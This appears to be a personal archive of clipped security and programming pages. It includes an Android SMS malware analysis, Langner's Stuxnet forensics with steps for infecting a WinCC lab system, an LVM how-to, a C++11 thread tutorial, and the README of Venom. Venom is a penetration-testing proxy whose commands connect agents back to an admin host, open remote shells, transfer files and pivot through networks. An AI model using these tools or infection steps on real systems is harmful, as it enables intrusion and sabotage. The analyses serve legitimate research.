http://blog.c22.cc/2010/03/19/firefox-search-add-ons-for-security-nerds™/
\[...\]

# Anti-Virus Leader ViRobot

**Created:**| _5/17/2011 7:27:09 PM_  
---|---  
**Updated:**| _5/17/2011 7:27:09 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis android_  
  
China Mobile 가입자를 타겟으로 공격하는 안드로이드 악성코드 **1. 개 요** 중국 스마트폰 시장의 최대 기업인 China Mobile 가입자를 타겟으로 공격하는 안드로이드 악성코드가 발견되었다. 이번에 발견된 Adsms 악성코드는 SMS 문자 메시지에 첨부된 링크를 통해 유포되었으며 사용자들에게 패치 업데이트를 설치하도록 유도하여 악성코드를 감염시킨다. 해당 악성코드는 사용자의 SMS 문자 메시지를 모니터링하며 C&C 서버로부터 xml 형식의 명령 파일을 다운로드 받아 SMS 메시지를 발송하는 것이 가능하다. **2\. 파일 정보** | **파일명**|  htc.apk  
---|---  
**MD5**|  eb067699a01dc477c359a95c1cdc3466  
**파일 크기**|  88,643 byte  
**3. 수행 권한 정보**

****

android.permission.READ\_SMS

android.permission.WRITE\_SMS

android.permission.SEND\_SMS

android.permission.RECEIVE\_SMS

android.permission.RECEIVE\_BOOT\_COMPLETED

android.permission.ACCESS\_NETWORK\_STATE

android.permission.BROADCAST\_PACKAGE\_REMOVED

android.permission.BROADCAST\_PACKAGE\_ADDED

android.permission.ACCESS\_WIFI\_STATE

android.permission.CHANGE\_WIFI\_STATE

android.permission.WAKE\_LOCK

android.permission.INTERNET

android.permission.WRITE\_EXTERNAL\_STORAGE

android.permission.READ\_PHONE\_STATE

android.permission.WAKE\_LOCK

android.permission.DEVICE\_POWER

android.permission.WRITE\_APN\_SETTINGS

**4. 분석 정보**

다음은 Adsms 악성코드 유포에 사용된 SMS 문자 메시지를 나타내는 화면이다. 해당 악성코드는 중국 스마트폰 시장의 최대 기업인
China Mobile 가입자를 타겟으로 공격하며 사용자에게 패치 업데이트를 설치하도록 유도하여 악성코드를 감염시킨다.

<img src='img/2011May17132544.jpg' />

<악성 링크가 첨부된 SMS 문자 메시지>

해당 악성코드가 설치되더라도 스크린에 아이콘이 생성되지 않기 때문에 사용자가 악성코드에 감염된 것인지 확인하기가

쉽지 않다.

<img src='img/2011May17113214.jpg' width='272' height='376' /> <img
src='img/2011May17113234.jpg' width='265' height='424' />

<응용프로그램 정보>

Adsms 악성코드는 SD카드의 Tencent 폴더에 v1.log 파일과 smsConfig.xml 파일을 생성한다.

<img src='img/2011May17113334.jpg' width='242' height='426' />

<카드에 생성된 파일 정보>

SD 카드에 생성된 smsConfig.xml 파일은 C&C 서버로부터 다운로드되어 생성된 파일로 해당 파일에는 감염된 스마트폰의 IMEI
정보와 premium rate number인 1062, 1065, 1066과 China Mobile의 서비스 번호인 10086 정보가 태그에
포함되어 있다.

<img src='img/2011May1711343.jpg' width='537' height='246' />

<네트워크 패킷 정보>

다음은 SD 카드에 생성된 v1.log 파일을 나타내는 화면이다.

<img src='img/2011May17113434.jpg' width='616' height='120' />

<v1.log 파일 정보>

다음과 같은 코드를 통해서 C&C 서버에 설정 파일을 요청하는 URL을 생성하는 루틴을 확인할 수 있다.

<img src='img/2011May17113456.jpg' width='446' height='336' />

<설정파일 요청 URL 생성 루틴>

Adsms 악성코드는 다음과 같은 루틴을 통해 IMEI 번호, Phone 모델, SDK 버전 정보를 수집한다.

<img src='img/2011May1711362.jpg' width='494' height='283' />

<정보 수집관련 코드>

# How-to: Extend LVM Logical Volume on Linux « xorl %eax, %eax

**Created:**| _6/9/2011 11:19:41 AM_  
---|---  
**Updated:**| _6/9/2011 11:23:35 AM_  
**Author:**| __  
**Tags:**| _Lab-Setup Filesystem_  
  

## How-to: Extend LVM Logical Volume on Linux

leave a comment »

So, first of all attach the new hard disk to the machine and if it supports
hot swap-able disks you’ll not even have to shutdown the system first. If this
the case, you can use the SysFS filesystem to trigger a SCSI bus re-scan using
a command similar to the one below.

view sourceprint?

`1`| `root ~:``# echo "- - -" > /sys/class/scsi_host/host0/scan`  
---|---  
`2`| `SCSI device sda: 41943040 512-byte hdwr sectors (21475 MB)`  
---|---  
`3`| `sda: Write Protect is off`  
---|---  
`4`| `SCSI device sda: drive cache: write back`  
---|---  
`5`| `root ~:``#`  
---|---  
Now, let’s assume that the current system’s storage space is this:

view sourceprint?

`1`| `root ~:``# df -h`  
---|---  
`2`| `Filesystem            Size  Used Avail Use% Mounted on`  
---|---  
`3`| `/dev/mapper/VolGroup00-LogVol00`  
---|---  
`4`| `                       ``18G  4.0G   13G  24% /`  
---|---  
`5`| `/dev/sda1              99M   40M   55M  42% /boot`  
---|---  
`6`| `tmpfs                 502M     0  502M   0% /dev/shm`  
---|---  
`7`| `root ~:``#`  
---|---  
Next, we use the classic fdisk to create a partition on the newly added device
\(in this case /dev/sdb\).

view sourceprint?

`01`| `root ~:``# fdisk /dev/sdb`  
---|---  
`02`| `Device contains neither a valid DOS partition table, nor Sun, SGI or
OSF disklabel`  
---|---  
`03`| `Building a new DOS disklabel. Changes will remain` `in` `the memory
only,`  
---|---  
`04`| `until` `you decide to write them. After that, of course, the previous`  
---|---  
`05`| `content won't be recoverable.`  
---|---  
`06`|    
---|---  
`07`| `Warning: invalid flag 0x0000 of partition table 4 will be corrected by
w(rite)`  
---|---  
`08`|    
---|---  
`09`| `Command (m` `for` `help): n`  
---|---  
`10`| `Command action`  
---|---  
`11`| `   ``e   extended`  
---|---  
`12`| `   ``p   primary partition (1-4)`  
---|---  
`13`| `p`  
---|---  
`14`| `Partition number (1-4): 1`  
---|---  
`15`| `First cylinder (1-261, default 1):`  
---|---  
`16`| `Using default value 1`  
---|---  
`17`| `Last cylinder or +size or +sizeM or +sizeK (1-261, default 261):`  
---|---  
`18`| `Using default value 261`  
---|---  
`19`|    
---|---  
`20`| `Command (m` `for` `help): t`  
---|---  
`21`| `Selected partition 1`  
---|---  
`22`| `Hex code (``type` `L to list codes): 8e`  
---|---  
`23`| `Changed system` `type` `of partition 1 to 8e (Linux LVM)`  
---|---  
`24`|    
---|---  
`25`| `Command (m` `for` `help): w`  
---|---  
`26`| `The partition table has been altered!`  
---|---  
`27`|    
---|---  
`28`| `Calling ioctl() to re-``read` `partition table.`  
---|---  
`29`| `SCSI device sdb: 4194303 512-byte hdwr sectors (2147 MB)`  
---|---  
`30`| `sdb: Write Protect is off`  
---|---  
`31`| `SCSI device sdb: drive cache: write back`  
---|---  
`32`| `SCSI device sdb: 4194303 512-byte hdwr sectors (2147 MB)`  
---|---  
`33`| `sdb: Write Protect is off`  
---|---  
`34`| `SCSI device sdb: drive cache: write back`  
---|---  
`35`| `Syncing disks.`  
---|---  
`36`| `root ~:``#`  
---|---  
We then use the next utility to notify the operating system of the partition
table changes on the new device…

view sourceprint?

`1`| `root ~:``# partprobe /dev/sdb`  
---|---  
`2`| `root ~:``#`  
---|---  
And we finally create the physical volume for the new hard disk…

view sourceprint?

`1`| `root ~:``# pvcreate /dev/sdb1`  
---|---  
`2`| `   ``Physical volume` `"/dev/sdb1"` `successfully created`  
---|---  
`3`| `root ~:``#`  
---|---  
And you can now extend the \(logical\) volume group that you want to have more
space.

view sourceprint?

`1`| `root ~:``# vgentend VolGroup00 /dev/sdb1`  
---|---  
`2`| `   ``Volume group` `"VolGroup00"` `successfully extended`  
---|---  
`3`| `root ~:``#`  
---|---  
Remember, when extending the logical volume always leaving some space for LVM
meta-data. So, we have…

view sourceprint?

`1`| `root ~:``# lvextend -L +1.8G /dev/VolGroup00/LogVol00`  
---|---  
`2`| `   ``Rounding up size to full physical extend 1.81 GB`  
---|---  
`3`| `   ``Extending logical volume LogVol00 to 19.72 GB`  
---|---  
`4`| `   ``Logical volume LogVol00 successfully resized`  
---|---  
`5`| `root ~:``#`  
---|---  
At last, we have to resize the extended logical volume to allocate the
additional disk space.

view sourceprint?

`1`| `root ~:``# resize2fs /dev/VolGroup00/LogVol00`  
---|---  
`2`| `resize2fs 1.39 (29-May-2006)`  
---|---  
`3`| `Filesystem at /dev/VolGroup00/LogVol00 is mounted on /; on-line resizing
required`  
---|---  
`4`| `Performing an on-line resize of /dev/VolGroup00/LogVol00 to 5169152 (4k)
blocks.`  
---|---  
`5`| `The filesystem on /dev/VolGroup00/LogVol00 is now 5169152 blocks long.`  
---|---  
`6`|    
---|---  
`7`| `root ~:``#`  
---|---  
And obviously, the size was increased…

view sourceprint?

`1`| `root ~:``# df -h`  
---|---  
`2`| `Filesystem            Size  Used Avail Use% Mounted on`  
---|---  
`3`| `/dev/mapper/VolGroup00-LogVol00`  
---|---  
`4`| `                       ``20G  4.0G   15G  22% /`  
---|---  
`5`| `/dev/sda1              99M   40M   55M  42% /boot`  
---|---  
`6`| `tmpfs                 502M     0  502M   0% /dev/shm`  
---|---  
`7`| `root ~:``#`  
---|---

# Langner Communications: The Production-to-Business Company

**Created:**| _9/17/2010 7:30:40 PM_  
---|---  
**Updated:**| _9/17/2010 7:30:40 PM_  
**Author:**| __  
**Tags:**| _attacks botnets intelligence_  
  
|  |    
**Stuxnet is a directed attack -- 'hack of the century'**  
  
---  
Hamburg, Sep 13, 2010  
  
  
German IACS security researcher Ralph Langner has successfully analyzed the
Stuxnet malware that appeared to be a miracle. Stuxnet is a directed attack
against a specific control system installation. Langner will disclose details,
including forensic evidence, next week at Joe Weiss' conference in Rockville.  
  
  
  
  
  
Hint for our fellow researchers who might wonder what they have been missing:  
  
You won't see the attack without real equipment and a very good understanding
of the Siemens proprietary engineering protocol. If you got both, you will be
able to detect Stuxnet traffic quickly.  
  
<img src='img/Temp2_4836.jpg' />  
  
**Ralph's step-by-step guide to get a crack at Stuxnet traffic and behavior**  
  
1\. Fire up your WinCC system.  
2\. Infect the system with Stuxnet. Don't be shy here -- Stuxnet is a friendly
virus, it only attacks the bad guys. You may even copy the compromised DLL to
your target by hand if you don't want to worry about all the LNK stuff.
\(Don't forget to rename the original DLL first though.\) The main attack is
all in the DLL, it's standalone.  
3\. Connect to any of your S7 PLCs.  
4\. Watch the traffic in Wireshark. You'll see Stuxnet after five seconds.
Don't worry to miss it. It will reoccur after five seconds. Than again, and
again. It's a constant loop. Really wasn't that difficult, was it?  
What you see is the fingerprinting of Stuxnet's main operative thread. To give
you a little head start here, look at the video capture. This is what you're
going to get.  
  
As you can see, Stuxnet reads DB 890 \(no matter if you have configured it or
not\).  
To relate that to code, load the Stuxnet DLL into your debugger. Set a
breakpoint at memory location 0070D9F9. This is the entry point to the
executive routine of the operative thread. To save you the hassle of trying to
make sense out of all the pushs and pops, we have added symbols and comments
that explain what's going on. \(You won't find the symbolics in your DLL
code.\)  
  
What you see in the code and comments is a lot of hard forensic evidence. To
give a short explanation, Stuxnet reads DB 890 and checks if type & length
match. If not, it does nothing and exits. If Stuxnet does find a match, it
inspects the first DWORD of the data block and checks if it contains the
string 'HNDS'. \(At this time, some folks should get nervous.\) If the match
isn't found, again it exits. If Stuxnet finds a match, it modifies the content
of the second DWORD to the content that you see in the screenshot and writes
it to the PLC. If you want to see the manipulations in Wireshark, you need to
configure properly so that Stuxnet gets a match in 890.  
  
<img src='img/Temp2_4835.jpg' />  
  
  
**Stuxnet logbook, Sep 16 2010, 1200 hours MESZ**  
  
With the forensics we now have it is evident and provable that Stuxnet is a
directed sabotage attack involving heavy insider knowledge. Here is what
everybody needs to know right now.  
  
Fact: As we have published earlier, Stuxnet is fingerprinting its target by
checking data block 890. This occurs periodically every five seconds out of
the WinCC environment. Based on the conditional check in code that you can see
above, information in DB 890 is manipulated by Stuxnet.  
  
Interpretation: We assume that DB 890 is part of the original attacked
application. We assume that the second DWORD of 890 points to a process
variable. We assume that this process variable belongs to a slow running
process because it is checked by Stuxnet only every five seconds.  
  
Fact: Another fingerprint is DB 8062. Check for the presence of DB 8062 in
your project.  
  
Fact: Stuxnet intercepts code from Simatic Manager that is loaded to the PLC.
Based on a conditional check, original code for OB 35 is manipulated during
the transmission. If the condition matches, Stuxnet injects Step7 code into OB
35 that is executed on the PLC every time that OB 35 is called. OB 35 is the
100 ms timer in the S7 operating environment. The Step7 code that Stuxnet
injects calls FC 1874. Depending on the return code of FC 1874, original code
is either called or skipped. The return code for this condition is DEADF007
\(see code snipplet\).  
  
<img src='img/Temp2_4834.jpg' />  
Interpretation: Stuxnet manipulates a fast running process. Based on process
conditions, the original code that controls this fast running process will no
longer be executed. \(Some people will now want to have their process
engineers explain what the DEADF could mean.\) After the original code is no
longer executed, we can expect that something will blow up soon. Something
big.  
  
  
  
**Ralph's analysis**  
  
Now that everybody is getting the picture let's try to make sense out of the
findings. What do they tell us about the attack, the attackers, and the
target?  
  
1\. This is sabotage. What we see is the manipulation of one specific process.
The manipulations are hidden from the operators and maintenance engineers \(we
have the intercepts identified\).  
  
2\. The attack involves heavy insider knowledge.  
  
3\. The attack combines an awful lot of skills -- just think about the
multiple 0day vulnerabilities, the stolen certificates etc. This was assembled
by a highly qualified team of experts, involving some with specific control
system expertise. This is not some hacker sitting in the basement of his
parents house. To me, it seems that the resources needed to stage this attack
point to a nation state.  
  
4\. The target must be of extremely high value to the attacker.  
  
5\. The forensics that we are getting will ultimately point clearly to the
attacked process -- and to the attackers. The attackers must know this. My
conclusion is, they don't care. They don't fear going to jail.  
  
6\. Getting the forensics done is only a matter of time. Stuxnet is going to
be the best studied piece of malware in history. We will even be able to do
process forensics in the lab. Again, the attacker must know this. Therefore,
the whole attack only makes sense within a very limited timeframe. After
Stuxnet is analzyed, the attack won't work any more. It's a one-shot weapon.
So we can conclude that the planned time of attack isn't somewhen next year. I
must assume that the attack did already take place. I am also assuming that it
was successful. So let's check where something blew up recently.  
  
  
**Ralph's theory -- completely speculative from here**  
  
It is hard to ignore the fact that the highest number of infections seems to
be in Iran. Can we think of any reasonable target that would match the
scenario? Yes, we can. Look at the Iranian nuclear program. Strange -- they
are presently having some technical difficulties down there in Bushehr. There
also seem to be indications that the people in Bushehr don't seem to be overly
concerned about cyber security. When I saw this screenshot last year
\(http://www.upi.com/News\_Photos/Features/The-Nuclear-Issue-in-Iran/1581/2/\)
I thought, these guys seem to be begging to be attacked. If the picture is
authentic, which I have no means of verifying, it suggests that approximately
one and a half year before scheduled going operational of a nuke plant they're
playing around with software that is not properly licensed and configured. I
have never seen anything like that even in the smallest cookie plant. The pure
fact that the relevant authorities did not seem to make efforts to get this
off the web suggests to me that they don't understand \(and therefore don't
worry about\) the deeper message that this tells.  
  
Now you may ask, what about the many other infections in India, Indonesia,
Pakistan etc. Strange for such a directed attack. Than, on the other hand,
probably not. Check who comissions the Bushehr plant. It's a Russian
integrator that also has business in some of the countries where we see high
infection rates. What we also see is that this company too doesn't seem to be
overly concerned about IT security. As I am writing this, they're having a
compromised web site \(http://www.atomstroyexport.com/index-e.htm\) that tries
to download stuff from a malware site that had been shut down more than two
years ago \(www.bubamubaches.info\). So we're talking about a company in nukes
that seems to be running a compromised web presence for over two years?
Strange.  
  
I could give some other hints that have a smell for me but I think other
researchers may be able to do a much better job on checking the validity of
all this completely non-technical stuff. The one last bit of information that
makes some sense for me is the clue that the attackers left in the code, as
the fellows from Symantec pointed out -- use your own imagination because you
will think I'm completely nuts when I tell you my idea.  
  
Welcome to cyberwar.  
  
<img src='img/Temp2_4837.jpg' width='400' />  
Stuxnet busters, from left to right: Ralf, Andreas, Ralph.  
As can be seen, these guys are \(almost\) serious about what they're doing.  
  
  
  
**Stuxnet logbook, Sep 17 2010, 1500 hours MESZ**  
  
Press release – for immediate release  
  
Langner sees increased threat level as Stuxnet analysis progresses  
  
Ralph Langner, who successfully analyzed that Stuxnet is a directed attack
against industrial control systems sees an increased threat level as the
analysis of Stuxnet progresses. Langner points out that not only security
researchers will analyse Stuxnet but also the underground. The analysis that
Langner has conducted shows that it is not technically difficult to inject
rogue ladder logic into PLC programs. It is important to understand that this
vulnerability cannot be considered a bug, either technically or legally, so it
should not be expected that vendors would be able to release a "patch".
Langner expects that exploit code for this vulnerability within several months
in the known frameworks such as Metasploit. While Langner does not assume to
see an attack as sophisticated as Stuxnet soon, he points out that the Stuxnet
story will raise a lot of attention in the hacker community where people may
now start to try using the attack vector for much less trivial motivations
than we must assume for the Stuxnet writers. Langner suggests equipment
vendors, asset owners and integrators start developing strategies to cope with
this scenario quickly.

# Practical Windows XP/2003 Heap Exploitation

**Created:**| _4/15/2010 3:51:51 PM_  
---|---  
**Updated:**| _4/15/2010 3:52:23 PM_  
**Author:**| __  
**Tags:**| _bookmark windows security research reversing conference-material
programming awesome Heap_  
  
<img src='img/Temp2_6359' />

# Operating Systems Lecture Notes

**Created:**| _6/25/2009 3:30:06 PM_  
---|---  
**Updated:**| _9/18/2009 10:22:59 AM_  
**Author:**| __  
**Tags:**| _bookmark conference-material operating system internals Tutorials_  
  

# Operating Systems Lecture Notes  

**Martin C. Rinard**

  *   * Lecture 1: Overview and History  

  * Lecture 2: Processes and Threads  

  * Lecture 3: Thread Creation, Manipulation and Synchronization  

  * Lecture 4: Deadlock  

  * Lecture 5: Implementing Synchronization Operations  

  * Lecture 6: CPU Scheduling  

  * Lecture 7: OS Potpourri  

  * Lecture 8: Introduction to Memory Management  

  * Lecture 9: Introduction to Paging  

  * Lecture 10: Issues in Paging and Virtual Memory  

  * Lecture 11: MIPS TLB Structure  

  * Lecture 11: Introduction to File Systems  

  * Lecture 13: File System Implementation  

  * Lecture 14: Monitors  

  * Lecture 15: Segments  

  * Lecture 16: Disk Scheduling  

  * Lecture 17: Networking  

  * Lecture 18: UDP and TCP

# Dliv3/Venom

**Created:**| _3/2/2019 6:12:16 PM_  
---|---  
**Updated:**| _3/2/2019 6:12:16 PM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

## Venom - A Multi-hop Proxy for Penetration Testers

简体中文 ｜ English

Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具。

Venom可将多个节点进行连接，然后以节点为跳板，构建多级代理。

渗透测试人员可以使用Venom轻松地将网络流量代理到多层内网，并轻松地管理代理节点。

<img src='img/Temp2_2318.png' width='80%' height='80%' />

> 此工具仅限于安全研究和教学，用户承担因使用此工具而导致的所有法律和相关责任！ 作者不承担任何法律和相关责任！
## 特性

  * 可视化网络拓扑
  * 多级socks5代理
  * 多级端口转发
  * 端口复用 \(apache/mysql/...\)
  * ssh隧道
  * 交互式shell
  * 文件的上传和下载
  * 支持多种平台\(Linux/Windows/MacOS\)和多种架构\(x86/x64/arm/mips\)

>
> 由于IoT设备（arm/mips/...架构）通常资源有限，为了减小二进制文件的大小，该项目针对IoT环境编译的二进制文件不支持端口复用和ssh隧道这两个功能，并且为了减小内存使用限制了网络并发数和缓冲区大小。
## 安装

您可以直接下载使用release中编译好的可执行文件

如果您想从源码编译该项目, 需要安装 **go >= 1.11**, 然后执行下面的命令

[code]

    go get -u github.com/Dliv3/Venom/...
    
    # $GOPATH是安装Go时配置的环境变量，可通过go env命令查看
    cd $GOPATH/src/github.com/Dliv3/Venom
    
    # 编译好的二进制文件存放在当前目录下的release文件夹中
    ./build.sh
    
[/code]

## 使用

> Youtube演示视频:
> https://www.youtube.com/playlist?list=PLtZO9vwOND91vZ7yCmlAvISmEl2iQKjdI
### 1\. admin/agent命令行参数

  * **admin节点和agent节点均可监听连接也可发起连接**
admin监听端口，agent发起连接:

[code]     ./admin_macos_x64 -lport 9999

    
[/code]

[code]     ./agent_linux_x64 -rhost 192.168.0.103 -rport 9999

    
[/code]

agent监听端口，admin发起连接:

[code]     ./agent_linux_x64 -lport 8888

    
[/code]

[code]     ./admin_macos_x64 -rhost 192.168.204.139 -rport 8888

    
[/code]

  * **agent节点支持端口复用**
agent提供了两种端口复用方法

    1. 通过SO\_REUSEPORT和SO\_REUSEADDR选项进行端口复用
    2. 通过iptables进行端口复用\(仅支持Linux平台\)
通过venom提供的端口复用功能，在windows上可以复用apache、mysql等服务的端口，暂时无法复用RDP、IIS等服务端口，在linux上可以复用多数服务端口。被复用的端口仍可正常对外提供其原有服务。

**第一种端口复用方法**

[code]     # 以windows下apache为例

    # 复用apache 80端口，不影响apache提供正常的http服务
    # -h 的值为本机ip，不能写0.0.0.0，否则无法进行端口复用
    ./agent.exe -lhost 192.168.204.139 -reuse-port 80
    
[/code]

[code]     ./admin_macos_x64 -rhost 192.168.204.139 -rport 80

    
[/code]

**第二种端口复用方法**

[code]     # 以linux下apache为例

    # 需要root权限
    sudo ./agent_linux_x64 -lport 8080 -reuse-port 80
    
[/code]

这种端口复用方法会在本机设置iptables规则，将`reuse-port`的流量转发到`lport`，再由agent分发流量

需要注意一点，如果通过`sigterm`，`sigint`信号结束程序\(kill或ctrl-c\)，程序可以自动清理iptables规则。如果agent被`kill
-9`杀掉则无法自动清理iptables规则，需要手动清理，因为agent程序无法处理`sigkill`信号。

为了避免iptables规则不能自动被清理导致渗透测试者无法访问80端口服务，所以第二种端口复用方法采用了`iptables -m
recent`通过特殊的tcp包控制iptables转发规则是否开启。

这里的实现参考了 https://threathunter.org/topic/594545184ea5b2f5516e2033

[code]     # 启动agent在linux主机上设置的iptables规则

    # 如果rhost在内网，可以使用socks5代理脚本流量，socks5代理的使用见下文
    python scripts/port_reuse.py --start --rhost 192.168.204.135 --rport 80
    
    # 连接agent节点
    ./admin_macos_x64 -rhost 192.168.204.135 -rport 80
    
    # 如果要关闭转发规则
    python scripts/port_reuse.py --stop --rhost 192.168.204.135 --rport 80
    
[/code]

### 2\. admin节点内置命令

  * **help** 打印帮助信息
[code]     (admin node) >>> help

    
      help                                     Help information.
      exit                                     Exit.
      show                                     Display network topology.
      getdes                                   View description of the target node.
      setdes     [info]                        Add a description to the target node.
      goto       [id]                          Select id as the target node.
      listen     [lport]                       Listen on a port on the target node.
      connect    [rhost] [rport]               Connect to a new node through the target node.
      sshconnect [user@ip:port] [dport]        Connect to a new node through ssh tunnel.
      shell                                    Start an interactive shell on the target node.
      upload     [local_file]  [remote_file]   Upload files to the target node.
      download   [remote_file]  [local_file]   Download files from the target node.
      socks      [lport]                       Start a socks5 server.
      lforward   [lhost] [sport] [dport]       Forward a local sport to a remote dport.
      rforward   [rhost] [sport] [dport]       Forward a remote sport to a local dport.
      
    
[/code]

  * **show** 显示网络拓扑
A表示admin节点，数字表示agent节点

下面的拓扑图表示，admin节点下连接了1节点，1节点下连接了2、4节点，2节点下连接了3节点

[code]     (node 1) >>> show

    A
    + -- 1
         + -- 2
              + -- 3
         + -- 4
    
[/code]

注意要对新加入的节点进行操作，需要首先在admin节点运行show命令同步网络拓扑和节点编号

  * **goto** 操作某节点
[code]     (admin node) >>> goto 1

    (node 1) >>> 
    
[/code]

在goto到某节点之后你就可以使用下面将要介绍的命令

  * **getdes/setdes** 获取/设置节点信息描述
[code]     (node 1) >>> setdes linux x64 blahblahblah

    (node 1) >>> getdes
    linux x64 blahblahblah
    
[/code]

  * **connect/listen/sshconnect** 节点间互连
node 1节点连接192.168.0.103的9999端口

[code]     (node 1) >>> connect 192.168.0.103 9999

    connect to 192.168.0.103 9999
    successfully connect to the remote port!
    (node 1) >>> show
    A
    + -- 1
         + -- 2
    
[/code]

在node1节点监听9997端口, 然后在另一台机器上运行`./agent_linux_x64 -rhost 192.168.204.139 -rport
9997` 连接node1

[code]     (node 1) >>> listen 9997

    listen 9997
    the port 9997 is successfully listening on the remote node!
    (node 1) >>> show
    A
    + -- 1
         + -- 2
         + -- 3
    
[/code]

在192.168.0.104上执行`./agent_linux_x64 -lport 9999`,
node3通过sshconnect建立ssh隧道连接192.168.0.104的9999端口。你可以使用密码或者是ssh私钥进行认证。

[code]     (node 1) >>> goto 3

    (node 3) >>> sshconnect root@192.168.0.104:22 9999
    use password (1) / ssh key (2)? 2
    file path of ssh key: /Users/dlive/.ssh/id_rsa
    connect to target host's 9999 through ssh tunnel (root@192.168.0.104:22).
    ssh successfully connects to the remote node!
    (node 3) >>> show
    A
    + -- 1
         + -- 2
         + -- 3
              + -- 4
    
[/code]

  * **shell** 获取节点的交互式shell
[code]     (node 1) >>> shell

    You can execute commands in this shell :D, 'exit' to exit.
    bash: no job control in this shell
    bash-3.2$ whoami
    whoami
    dlive
    bash-3.2$ exit
    exit
    exit
    
[/code]

  * **upload/download** 向节点上传/从节点下载文件
将本地/tmp/test.pdf上传到node1的/tmp/test2.pdf

[code]     (node 1) >>> upload /tmp/test.pdf /tmp/test2.pdf

    upload /tmp/test.pdf to /tmp/test2.pdf
    this file is too large(>100M), do you still want to upload it? (y/n)y
     154.23 MiB / 154.23 MiB [========================================] 100.00% 1s
    upload file successfully!
    
[/code]

将node1的文件/tmp/test2.pdf下载到本地的/tmp/test3.pdf

[code]     (node 1) >>> download /tmp/test2.pdf /tmp/test3.pdf

    download /tmp/test2.pdf from /tmp/test3.pdf
    this file is too large(>100M), do you still want to download it? (y/n)y
     154.23 MiB / 154.23 MiB [========================================] 100.00% 1s
    download file successfully!
    
[/code]

  * **socks** 建立到某节点的socks5代理
[code]     (node 1) >>> socks 7777

    a socks5 proxy of the target node has started up on local port 7777
    
[/code]

执行成功socks命令之后，会在admin节点本地开启一个端口，如上述的7777，使用7777即可进行socks5代理

  * **lforward/rforward** 将本地端口转发到远程/将远程端口转发到本地
lforward将admin节点本地的8888端口转发到node1的8888端口

[code]     (node 1) >>> lforward 127.0.0.1 8888 8888

    forward local network 127.0.0.1 port 8888 to remote port 8888
    
[/code]

rforward 将node1网段的192.168.204.103端口8889转发到admin节点本地的8889端口

[code]     (node 1) >>> rforward 192.168.204.103 8889 8889

    forward remote network 192.168.204.103 port 8889 to local port 8889
    
[/code]

### 3\. 注意事项

  * 现阶段仅支持单个admin节点对网络进行管理
  * 要对新加入的节点进行操作，需要首先在admin节点运行show命令同步网络拓扑和节点编号
  * 当使用第二种端口复用方法\(基于iptables\)时，你需要使用`script/port_reuse.py`去启用agent在目标主机上设置的端口复用规则。

## TODO

  * 与regeorg联动
  * 多个admin节点同时对网络进行管理
  * 节点间通信流量加密
  * socks5对udp的支持
  * 与meterpreter联动 \(待定\)
  * RESTful API

## 致谢

  * rootkiter\#Termite
  * ring04h\#s5.go
  * n1nty\#远程遥控 IPTables 进行端口复用

  

# Solarian Programmer | My programming ramblings
**Created:**| _5/20/2012 4:23:24 PM_  
---|---  
**Updated:**| _5/20/2012 4:23:24 PM_  
**Author:**| __  
**Tags:**| _bookmark Tutorials programming multi-threading C++11_  
  

C++11 multithreading tutorial - part 3

Posted on May 9, 2012 by Sol

_The code for this tutorial is on GitHub:_ https://github.com/sol-
prog/threads.

In my previous two tutorials about C++11 threads:

  * http://solarianprogrammer.com/2011/12/16/cpp-11-thread-tutorial/
  * http://solarianprogrammer.com/2012/02/27/cpp-11-thread-tutorial-part-2/

we’ve seen that C++11 allows us to use a clean syntax \(compared with the one
used by POSIX for e.g.\) for managing multithread applications. The second
tutorial presents an example of threads synchronization using mutex and atomic
operations. In this tutorial I’m going to show you how to use a member
function and lambda with threads.

We’ll start with a simple example of a C++11 thread with a member function:

[code]

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
[/code]

|

[code]

    #include <iostream>
    #include <thread>
    #include <string>
    
    using namespace std;
    
    class SaylHello{
    public:
    
      //This function will be called from a thread
      void func(const string &name) {
         cout <<"Hello " << name << endl;
      };
    };
    
    int main(int argc, char* argv[])
    {
      SaylHello x;
    
      //Use a member function in a thread
      thread t(&SaylHello::func, &x, "Tom");
    
      //Join the thread with the main thread
      t.join();
    
      return 0;
    }
    
[/code]  
---|---  
In the above example we use a dummy class with a public function that can be
called from a thread, at line 21 in the source file you can see the way in
which you can pass an argument to this function.

C++11 also allows us to use anonymous functions, or lambdas, in a thread:

[code]

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
[/code]

|

[code]

    #include <iostream>
    #include <thread>
    #include <string>
    
    using namespace std;
    
    int main(int argc, char* argv[])
    {
      //Use of an anonymous function (lambda) in a thread
      thread t( [] (string name) {
        cout << "Hello " << name << endl;
      }, "Tom");
    
      //Join the thread with the main thread
      t.join();
    
      return 0;
    }
    
[/code]  
---|---  
The above codes can be compiled with gcc-4.7 on Linux and Mac or with Visual
Studio 11 on Windows. You can also use Clang for Mac and Linux for compiling
the first example, currently Clang can’t compile anonymous functions:

[code]

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
[/code]

|

[code]

    sols-MacBook-Pro:thread3 sol$ clear
    sols-MacBook-Pro:thread3 sol$ g++-4.7 -std=c++11 threads_00.cpp
    sols-MacBook-Pro:thread3 sol$ ./a.out
    Hello Tom
    sols-MacBook-Pro:thread3 sol$ g++-4.7 -std=c++11 threads_01.cpp
    sols-MacBook-Pro:thread3 sol$ ./a.out
    Hello Tom
    sols-MacBook-Pro:thread3 sol$ clang++ -std=c++11 -stdlib=libc++ threads_00.cpp
    sols-MacBook-Pro:thread3 sol$ ./a.out
    Hello Tom
    sols-MacBook-Pro:thread3 sol$ 
    
[/code]  
---|---  
If you are interested in learning the new C++11 syntax I would recommend
reading Professional C++<img
src='http://solarianprogrammer.com/images/2011/10/51n6STzNnZL._SL160_.jpg'
width='1' height='1' /> by M. Gregoire, N. A. Solter, S. J. Kleper 2nd
edition:

<img src='http://ws.assoc-
amazon.com/widgets/q?_encoding=UTF8&Format=_SL160_&ASIN=0470932449&MarketPlace=US&ID=AsinImage&WS=1&tag=solarianprogr-20&ServiceVersion=20070822'
/><img src='img/Temp2_7621.gif' width='1' height='1' />

or The C++ Standard Library: A Tutorial and Reference<img
src='img/Temp2_7621.gif' width='1' height='1' /> by N. M. Josuttis which was
updated to reflect the new C++11 standard:

<img src='http://ws.assoc-
